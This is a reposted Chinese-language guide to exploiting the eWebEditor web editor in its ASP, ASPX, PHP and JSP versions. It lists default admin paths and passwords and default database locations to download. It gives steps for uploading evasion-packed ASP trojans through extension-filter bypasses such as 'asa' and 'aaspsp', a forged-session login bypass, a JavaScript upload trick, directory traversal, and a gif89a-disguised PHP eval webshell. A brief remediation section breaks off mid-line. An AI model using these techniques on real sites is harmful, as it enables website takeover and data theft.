各版本eWebEditor漏洞整理 转载

这个编辑器按脚本分主要有4个版本，ASP/ASPX/PHP/JSP 每个版本都有可以利用的漏洞。

判断网站是否使用了eWebEditor
查看程序源代码，看看源码中是否存在类似“ewebeditor.asp?id=”语句，只要有此语句的存在，就能判断网站确实使用了WEB编辑器。另外一种方法就是站上新闻或者其他板块上找图片、附件等的链接，是否为admin/eWebEditor/UploadFile/xxxx.jpg之类格式。
安全漏洞
管理员未对编辑器的数据库路径和名称进行修改，导致可以利用编辑器默认路径直接对网站数据库进行下载。
管理员未对编辑器的用户登录路径进行修改，导致黑客可以利用网站数据库所获得的用户名和密码直接登陆编辑器管理后台。
该WEB编辑器上传程序存在的安全漏洞。

ASP版
关键文件的名称和路径
这个版本其实个人感觉是影响最大，使用最多的一个了吧，早期很多asp站都用这个，当然现在也是大量的存在的……
几个关键文件的名称和路径：
Admin_Login.asp 登录页面
Admin_Default.asp 管理首页
Admin_Style.asp
Admin_UploadFile.asp
Upload.asp
Admin_ModiPwd.asp
eWebEditor.asp
db/ewebeditor.mdb 默认数据库路径
默认用户名密码
一般用这个的默认后台的URL都是默认的：
www.xxx.com/admin/ewebeditor/login_admin.asp
类似：
www.xxx.com/ewebeditor/login_admin.asp
www.xxx.com/admin/eweb/login_admin.asp
www.xxx.com/admin/editor/login_admin.asp
而且账户和密码也基本都是默认的：admin admin（admin888）
下载数据库
还有如果默认的账户和密码修改了，我们可以下载他的数据库，然后本地破解MD5了
默认数据库：…/db/ewebeditor.mdb 或者 …/db/ewebeditor.asp，一般下载数据库后打开察看就可以了。
文件上传
登录后台后，点击“样式管理”，随便选择列表中底下的某一个样式。注意：eWebEditor自带的样式是不允许修的，当然你也可以拷贝一个新的样式来设置。在上传的“其它类型”中增加“asa”类型：接下来把免杀的ASP木马的后缀名改成asa，返回管理首页，点击“预览”，然后选择“插入其它文件”的按钮进行ASP木马的上传：上传的ASP木马就在“UploadFile”文件夹里。
如果加了asa类型后发现还是无法上传。应该是站长懂点代码，自己修改了Upload.asp文件，但是没有关系，按照常人的思维习惯，往往会直接在sAllowExt = Replace（UCase（sAllowExt）， “ASP”， “”）一句上修改，我就看见过一个站长是这样修改的：sAllowExt = Replace（Replace（Replace（Replace（Replace（UCase（sAllowExt）， “ASP”， “”）， “CER”， “”）， “ASA”， “”）， “CDX”， “”）， “HTR”， “”）猛一看什么都过滤了，但是我们只要在上传类型中增加“aaspsp”，就可以直接上传asp文件了。
如果上述两种方法都失败了，则利用eWebEditor能够设定自动保存远程文件的类型，我们可以加入asp类型。但是如何才能让远程访问的asp文件能够以源码形式保存呢？方法是很多的，最简单的方法是将IIS中的“应用文件映射”中的“asp”删除。（此方法未经测试，个人感觉利用率不高）
有的站数据库设置了只读属性，这样的站你是无法新加样式的，这样的站你可以看他数据库里的样式设置情况，一般很多时候都是让人给拿过的，而且明显的asa在那里。这样的话就可以直接构造一个调用这个样式的连接来上传shell。
比如发现数据库里有样式 123 他设置的是可以上传asa的话那么就可以这样调用：
http://www.xxx.com/eWeb/eWebEditor.asp?id=contentCN&style=123
这样就可以直接上传了，然后在点“编辑”就会找到shell的路径了。其实这个漏洞主要是upload.asp的过滤不严造成的，新版的应该都修复了，具体受影响的版本我也没统计过。
遍历路径
ewebeditor遍历路径漏洞（当数据库只读的时候）ewebeditor/admin_uploadfile.asp?id=14在id=14后面添加&dir=再加 &dir=/或&dir=http://www.xxxxx.com// 看到整个网站文件了， 不过此项在测试的时候发现，只有登录成功才能进行这项操作。
Cookie漏洞
漏洞文件：Admin_Private.asp.
漏洞语句：
<% If Session（“eWebEditor_User”） = “” Then
Response.Redirect “admin_login.asp”
Response.End
End If
只判断了session，没有判断cookies和路径的验证问题。
漏洞利用：
新建一个mrchen.asp内容如下：
<%Session（“eWebEditor_User”） = “11111111″%>
访问mrchen.asp，再访问后台任何文件，for example:Admin_Default.asp这个拿shell的方法就简单了。

ASPX版
Javascript文件上传
受影响文件：eWebEditorNet/upload.aspx
原理：代码

”uploadfile“ style=”file“ size=”uploadfile“ runat=
”lbtnUpload“ runat=
”JavaScript“>
只是简单的对ID进行验证，只要构造javascript:lbtnUpload.click（）；满足条件达到上传木马的效果。
利用方法：添好本地的cer的Shell文件。在浏揽器输入javascript:lbtnUpload.click（）；就能得到shell,绕过了限制，成功上传ASPX文件， 。成功以后查看源代码代码
a ”lbtnUpload“ ”javascript:__doPostBack（‘lbtnUpload’，“）”script 'javascript'
文件默认的上传后保存的地址是eWebEditorNet/UploadFile/,看看是否上传成功。

PHP版
关于eWebEditor 漏洞php版本的和asp的一样。有目录浏览。和编辑扩展名。重点在于虽然支持了php格式但上传还是上传不了。不过利用织梦的gif89a漏洞倒可以实现php一句话上传，然后再上传webshell。
备注：织梦的gif89a漏洞，准确来说应该是DEDECMS中所用的php版的FCKeditor存在上传漏洞，gif89a文件头欺骗。DEDECMS中在上传拖上没有对picSubmit进行任何处理。但是却不能直接上传php马。因为会识别。使用修改过的php小马。
gif89a
phpinfo（）；
?>
RFI
gif89a
eval（$_POST[c]）；
?>
利用gif89a进行了欺骗。现在上传就可以成功了。然后有php一句话客户端连接。

JSP版
上传漏洞
影响版本：漏洞存在于ewebeditor jsp版 1.4以下版本，漏洞有两个版本。
原理：第一个是使用savefile.jsp来进行文件上传操作的，从代码中可以看出，程序并没做任何上传过滤，这样我们就可以直接上传一个JSPShell了。另一个版本可能是被人修改过，把代码转成了servlet，不能看到代码，但是利用方法却大同小异。
利用方法：我们先找一个1.4版本以下的ewebeditor JSP上传页面，选择好一个JSPShell。这个ewebeditor是没有提交按钮的，所以这里涉及到一个小技巧，就是在上传的对话框中敲下回车，大约过半分钟，就可以查看网页的源文件来寻找我们的Webshell了。
解决方法
1.修改admin密码；
2.upload.asp中的：
“任何情況下都不允许上传asp脚本文件sAllowExt = Replace（UCase（sAllowExt）， ”ASP“， ”“）
改为：
”任何情況下都不允许上传asp脚本文件
sAllowExt = Replace（UCase（sAllowExt）， “ASP”， “”）
sAllowExt = Replace（UCase（sAllowExt）， “ASA”， “”）
sAllowExt = Replace（UCase（sAllowExt）， “CER”， “”）
sAllowExt = Replace（UCase（sAllowExt）， “AASPSP”， “”）
sAllowExt = Replace（UCase（sAllowExt）， “CDX”， “”）
sAllowExt = Replace（UCase（sAllowExt）， “HTR”

相关内容：

• 赛门铁克分析报告：大量伪装成色情APP的Android恶意软件瞄准中国用户
• 这项活动，缺你不可！“2020网民网络安全感满意度问卷调查”
• 安全漏洞告警：HTTP.sys 远程执行代码漏洞影响众多行业安全
• 国家计算机病毒应急处理中心：关于UIWIX勒索软件的紧急提示（2017.5.17）
• Radware：DNS解析器惊爆安全漏洞NXNSAttack
• 微软已正式废止 WoSign / StartCom 品牌根证书